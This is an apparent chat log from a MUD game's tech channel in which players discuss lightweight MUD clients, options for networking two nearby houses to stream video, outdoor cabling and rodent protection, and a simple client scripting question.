T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: Newer versions of fmud include some alias/scripting support.. but one on aards page doesn't seem to
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: hmmm, do you have a flash drive? you can download mush and run from a flash drive, I believe...though not sure that doesn't require telnet access
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: Should run over the same ports as fmud does, if my understanding of how fmud connects is correct. I think its just running in browser, and connecting to the same ports
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Bluntman & Chronic Tech: on the parents pc and their net is like the dialup of broadband
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: mushclient is pretty small, really
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: One warning about running mush from flash drive - the mapper will run dog slow.
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: Does work well otherwise, though.
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Bluntman & Chronic Tech: heh no flash drive, and its not the speed lac, its the blocks
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Bluntman & Chronic Tech: speeds fast enough to run through fmud
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Vakieh Tech: Can run from dropbox - updates completely to local storage, so no media latency, just a short download time if you want to connect to a new machine
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: oh, nice idea, Vakieh
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: If he can install dropbox, he can download mush though 
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: true enough
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: And I'm sure dropbox is likely to require more permissions then mush
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Bluntman & Chronic Tech: i only have 1 arm so kinda need some of these things lol
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: Unfortunately, I don't think theres going to be a solution that doesn't involve running/downloading another program, like mushclient, or telnet.... Unless you can find what the escape character for fmud is - but its none of the usual suspects, and I can't find it with a little googleing
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Bluntman & Chronic Tech: makes me wonder who deals with fmud, if its lash him self or another
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: Not sure, on the aard website. But the Fmud creator i don't believe plays aardwolf
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: or at least, doubt he has much to do with the running of it
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Bluntman & Chronic Tech: oic
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: ENH500 has 300mbps wireless... but still only 10/100mbps lan
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: I'd look for another brand then
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: Likely a product of the price range. They offer quite a few options
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: They offer one with 300mbps wireless, and gigabit ethernet
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: goes from $88 to $270US
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: mhmm, not real surprised about that
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: Nod.
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: Its not that they're not out there, but, buying them in pairs, thats over $500 just for the bridges
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: Honestly, the wired network is presently only 100mbps.... so.. I doubt it'll be a problem presently
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: if you are willing to put up with something as bad as fmud, and want a tiny windows mud client, get http://www.elvenrunes.com/powtty/ it's literally putty combined with tintin
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: k t
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: oops
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: Also, main point was to get streaming video to an xbox 360.... its only got 100mbit port anyway. So it's really going to be the wireless issue anyway
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: pretty much, yes...
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: what kind of video quality cant be handled by 100Mb ?
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: should be able to handle just fine
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: i would think so
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: Oh, wasn't saying there was video i needed to stream of that quality, aliens. Just trying to set up a bridge between two homes to share network/video access, and probably internet, if it ends up being stable enough
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Vakieh Tech: My LAN over power spreads a good 350m up the power line.
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: the big thing is the distance--how far is it between the places you'd want to put the bridge pair?
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: well unless you are on 11Mbps wireless streaming uncompressed security cameras plus 3 different bluerays, cant see a problem
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Vakieh Tech: http://www.belkin.com/us/F5D4076-Belkin/p/P-F5D4076
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: I've got to actually get out there and measure it, but, probably not more then 100 feet, as my terrible estimation is
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: most home wireless is on rated for about 30m / 100 feet
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: only
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: Vak... 2 different homes, I don't think that will be of use to me
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Vakieh Tech: Seriously. Any place on the power line 350m up, down, left or right. Multiple homes in that radius.
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: you can setup up custom direction antennas though
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Vakieh Tech: It spreads right back to the street lines
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: directional
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: aliens.. devices I was talking about are for this purpose. outdoor, weather proof, direction antenna devices.
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Vakieh Tech: I would have to select a certain frequency if someone else got a similar device in their house, within 700m
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Vakieh Tech: If I wanted to use the full range, that is
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: you can make a directional antenna with tinfoil and a pringles tin
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Vakieh Tech: No need for antennas, no need for wireless, plug one end in at your house, plug the other end in a completely different house within 350m (said only 2 doors down, right?) and you will be able to connect at gigabit speeds
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Ranrr Tech: wifi directional antennas can reach for several km
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: Vak, you won't get gigabit speeds with those.
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Vakieh Tech: I do get gigabit speeds with mine
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Ranrr Tech: And they only work if you arwe on the same circuit
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: No, you get gigabit speed between the device and the powerline adapter =p
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: you MIGHT not need to even get another wireless router, if yours is in the nearest window
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Vakieh Tech: Nope - I go across 2 circuits in my own house
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Ranrr Tech: Then they are not as separate as you think
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Vakieh Tech: Like I said, the signal propogates right back to the street and back
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Ranrr Tech: So, security is non existant.
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: Powerline will also degrade significantly over range
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Vakieh Tech: It has password protection, or WPS
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Ranrr Tech: Oki.
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Vakieh Tech: 350m is the distance before signal degradation causes problems
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Ranrr Tech: Although WPS is not secure.
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Vakieh Tech: Secure enough for most purposes
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Vakieh Tech: most consumer* purposes
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: not really...
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Ranrr Tech: Unless you have a script kid on your block... sure
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Ranrr Tech: But kids nowadays never download simple hack apps from the web and try them at home, do they?
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Vakieh Tech: Just have to set the WPS to disable after 3 incorrect pins - best available app requires an average of 7500 attempts
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Ranrr Tech: Or disable it, that's simpler.
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: fair enough, Vakieh
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Ranrr Tech: Anyways, over 350m I would go for wifi, basic directional antennas should work fine.
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: Powerline maxes out at 500mbps.
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: Theoretical max.
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: First generation only worked on the same phase - those are the ones that wouldn't jump circuits/breakers. the new ones will.
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: They will however not go through a transformer.
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: realistically, if you put the wifi routers in the near sides of the two houses, you can probably get away without needing high-end stuff, outdoor rated stuff, or higher powered antennas
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Ranrr Tech: Yeah, you can always add direction antennas later, if it doesn't work.
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: you've said you're talking like 100 ft or so, not an entire block
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: Lac - I think it's unlikely to get a reasonably fast connection that way
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: Nod. Its 2 housees seperated by 1 additional lot/house
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: Pretty surbaban area, houses pretty close together
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Ranrr Tech: What are your requirements?
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Ranrr Tech: Speed wise.
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: it's worth testing, see what you get, and then you'll know if you need to do a faster connection
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: Ideally? I'm looking to be able to have an xbox in the second house stream cable/video from the media center extender in this house.
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Ranrr Tech: So 2 Mbits/s or so.
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: from the windows media center pc in this house, rather
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: if you need better, then add directional antennas or even just stronger antennas if your routers have external antennas on them
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: Ranrr.. where are you pulling 2Mbit from? =p
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Ranrr Tech: Yeah, go for bridges and aps with external antenna.
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: experience i would say
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Ranrr Tech: Streaming regular video is thereabouts. Unless it's uncompressed.
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: HD, Ranrr. Believe in streams directly in mpeg2.
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Ranrr Tech: Well, then you probably need a fibre cable in the ground.
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: Googleing.... 3.6MBps.. or just shy of 30mbps
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: DVD etc video playback on a lan, most of your time the client eg vlc will have buffered ... the video
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: Not a DVD, aliens. talking about cable.
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Ranrr Tech: A dug down fibre is the only solution that you know will work in all circumstances. 
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: Not an option. And also nto expecting it to work in all circumstances =p
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Ranrr Tech: It's the most complicated solution, though.
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: the data stream wont take as much bandwidth as you imagine is what i am getting at
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Ranrr Tech: You'll just have to experiment and see what works.
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: as I imagine, Aliens?
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: yes... try it... they see
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: no sense spending extras immediately if what you already have will work
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: yes you give the impression you think you need much more bandwidth than you will probably have available without trying it
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: What I have won't work. Thats a given.
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: it might, it sounds like the houses are pretty close
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: you havent even tried
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: 2 APs that are available are both wireless G.
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: might not work well, but worth trying as a start
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: Wireless G is insufficient the stream, I've tested it within the same house, and it won't play smothly.
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Ranrr Tech: Make sure you get AP/bridge with as long reach as possible, there is a huge variance there.
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: so look for wireless-n that have extended range capabilities and you'll be good with two of them
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: Lac.. which involves buying something. Which is not what I have available =p
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: ok then move to simple inexpensive options and work your way up... or if you are loaded pay a linesman to put a fibre link between your houses
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: good ones can reach near two blocks
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Ranrr Tech: If you have a fast internet connection in both places, you can do a VPN between them.
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: The outdoor APs I was looking at aren't too far outside the price of a pair of N aps.
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: Won't cut it either, Ranrr. Upstream will be insufficient.
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: BSing on tech about some wireless stuff, people seem to be.. wanting to offer all manner of solutions that aren't even in the same category
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: are the 2 house right next to each other? 
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: Managed to mischan that to not one, but too channels. lol
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: one house apart
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: Nah. One house/lot in between the two.
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: cause you could just run a cat6 cable across
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: oh damn
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Snooky Tech: I came here because of the mischan. What does PING mean?
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: Nod, it'd be a lot nice if they were. or across the street, for easier antenna access without blockage.
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: does the house between block line of sight ?
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: Ish. But, mounting on a pole above the obstruction isn't a problem.
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: cause blocking line of sight will screw your WiFi, and there is almost nothing you can do about that
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: yeah i guess if you have a pole high enough
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: It won't need to be very high at all.
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Snooky Tech: off
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: just type channel name
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Snooky Tech: *click*
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: And honestly, better option instead of going above, would be just to move one off axis, mount it in the back yard on the shed or something.
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: yeah whatever works as long as you have los
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: Nod, I know. was already expected.
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: I guess the ideal here would be to get a full 100mbbit connection between the two properties. or close to.
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: that WILL cost you for good hardware
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: yeah dont get your hopes up for full bandwidth... even with direction anntennas
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: you should be able to get acceptable bandwidth tho
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: Well, the streaming is what I want it for. 300mbit advertised wireless.. Could mount them directly on the fence line between the two properties, so they'd have LOS and be a pretty straight, short shot
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: http://www.engeniustech.com/business-networking/outdoor-access-points-client-bridges/9339-enh202- Think I might give these a shot.
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: you know if you have some electronic experice you might even be able to rigg up a modulated LED link
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: you can rig up a laser link, too, but that doesn't mean it's going to be as fast or effective as current wireless tech
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: yeah IR or laser LEDs could do that distance
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: Might work for aliens, but us mere humans just use wireless.
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: will be affected by weather tho...
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: nah i made a simple version when i was a kid
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: ALL non-wired networking is affected by weather
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: ID is affected by clouds and fog... but wind would be biggest factor at near ground level
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: IR
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: again, no. =p
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: just a though  ::-)
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: you could always ask you intervening nehbour for permission to run cat6 along thier fence line...
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: Not going there... rental property, owner is hard enough to get a hold of anyway
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: yeah, cat6 is pretty weatherproof, just have to watch out for the squirrels
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: shame, cause the cat6 can go 100m (300ft?)
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: thereabouts
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Ranrr Tech: easier to use a fibre, if you are going for a cabled solution
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: Easier? no. =p
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: omg no way... fibre is a PIA and is massively fragile... cat6 is tough as nails
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: Also not an option
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: i know but cat6 is sooo much easier and hary than fibre
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: hardy
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: That being said, I do think it'd be interesting to wire the house with it for other reasons... but mostly just on a whim, really
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: honestly a hardline option would be best... but sadly not an option
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: Nod. Would be the easiest. Just a lot involved. trenching, running conduit.. probably end up being more expensive then a couple of the ones I was considering
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: nah you would need trenching for fibre, but not cat6
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: To my understanding, needs to be buried at least 18" deep.
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: trenching or conduit
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: you'd want to encase the cat6, anyway...squirrels
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: with cat6 you can get away without trenching or conduit
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: Nod, I meant in conduit, 18" deep =p
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: i used to work in a 6 story office building, we ran cat5 out a hole, down 2 storeys, across a catenery about 5 metres above an alley, into a neibouring building
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: yes, but you don't really want to have to rerun it because of some rodent
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: very close to the 100m limit
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: it was there for at least 5 yeah without problems
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: years
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: Still likely not the right way to do it =p
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: and I ran a 50-ft cat6 out a window and across under a deck to another window, and it got chewed up three times in 6 months.
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: not ideal, but this is a domestic workaround... not military grade 
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: don't bet on them not doing it
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: it's a pain to rerun cable every couple months
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: I'd also be worried about it not being up to electrical code.
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: yeah if you are gunna have animal probs, then run in underground conduit... and then well may as well go fibre
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: i dunno about US code
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: networking code isn't US specific
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: but here we "basiclly" keep power and data seperarted by 30cm ...  data isnt really a big deal aside from that
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: Nod... my understanding is it also falls under standard electrical safety codes, for a lot of things.
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: yes, it does, Daloran, that and telephony codes
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: in australia we have the AS3000 which outlines required power cabling policy
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: you have a different set of critters there too
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: ya, squirrels not so much... rats occasionally
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: Nod.. my comment about it being buried 18" was from something I'd read about burying power lines.. was my understanding that it'd likely apply. definitely not an electrician though
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: upside of fibre is you eliminate any wierd grounding/lightening issues though... so thats a plus
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: here, squirrels, chipmunks, opossum, raccoons, rabbits, etc. are all common for gnawing on cords/cables besides those rats and mice
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: i wouldnt worry too much about grounding with cat6 stuff, the connected devices will handle it
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: i love squirrels and chipmunks, lol
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: Aliens... thats a terrible idea.
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: really what options are there anyway? cat6 is double insulated
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: fibre is just plastic... and even fibre could be an earth risk if hooked up badly so water becomes a hazard
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: cheapest way I've found of protecting them from rodents is 3/4" PVC plumbing pipe with 45-degree bends and drilled end-caps with the cable caulked around them...but that assumes you're putting your own ends on the cable.
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: Nod. No reason not to.
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: yeah thats pretty much how we do wiring here, but you have to get the right pvc conduit tho, there is one for above ground, and one for underground
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: And quite a few, aliens. One, if you're using metallic conduit it has to be grounded seperately. And there are surge protectors that are available to install on either end of the cable.
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: yeah i was talking about pvc conduit... new metal conduit here is illeagal and suicidal
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: PVC would likely be the better option anyway, yeah
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Necsus Tech: you guys a bunch of electrical engineers or what?
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Vost Tech: they are tech nerds
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: nah, just a comp sci major in my case...but I had to take networking for that ;)
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Daloran Tech: Sounds about right for me, Vost
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: i have some education as an electrican, and have worked with computer networking proffesionally too
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Necsus Tech: I wish I had an understanding of electrical engineering. I'm learning JavaScript but hate the fact that I have no clue how computers even get to the point of a code language. I have a rudimentary understanding of machine code but no clue how electrical engineering can create it, etc
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: I've never had formal electrical training...though I can wire just about any home circuit needed, install/replace breakers, outlets, switches...
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Straeldryn Tech: logic gates
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: Necsus, look into discrete mathematics and you'll find the link that you need for that
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Necsus Tech: cool. thanks
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: yeah i did computer math subject at uni, i know logic gates
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Zetkax Tech: how can i do this? Send("hold 614828648\
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Zetkax Tech: enter,hold 945337830")
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: ;
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Vakieh Tech: I made the mistake of doing it twice :-( Computer circuitry and discrete mathematics
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: try send to : script
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: those are different enough, Vakieh--one's theory and one's application
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Zetkax Tech: how can i do this in a script? Send("hold 614828648,enter,hold 945337830")
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Zetkax Tech: where , is a semicolon
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: \\\Send("hold 614828648;enter;hold 945337830")
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Vakieh Tech: The computer circuitry was a theory subject, and the discrete mathematics was a 'lets make maths more real world applicable' thing... not sure which was more like the other :-P
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: ah, my computer circuitry course included making our own circuits
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: i had to learn logic gates as a subject in comp sci... C coding as focus
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: discrete was all theory
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Straeldryn Tech: i had them combined, think they called it 'discrete structures' or similar
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Zetkax Tech: thats not working aliens
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: type on command line: \\\Send("hold 614828648;enter;hold 945337830")
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: but look for the box "send to", set it to send to script
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Zetkax Tech: Your race does not have a 945337830 wear location.
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: lol i cant help you with your item ids
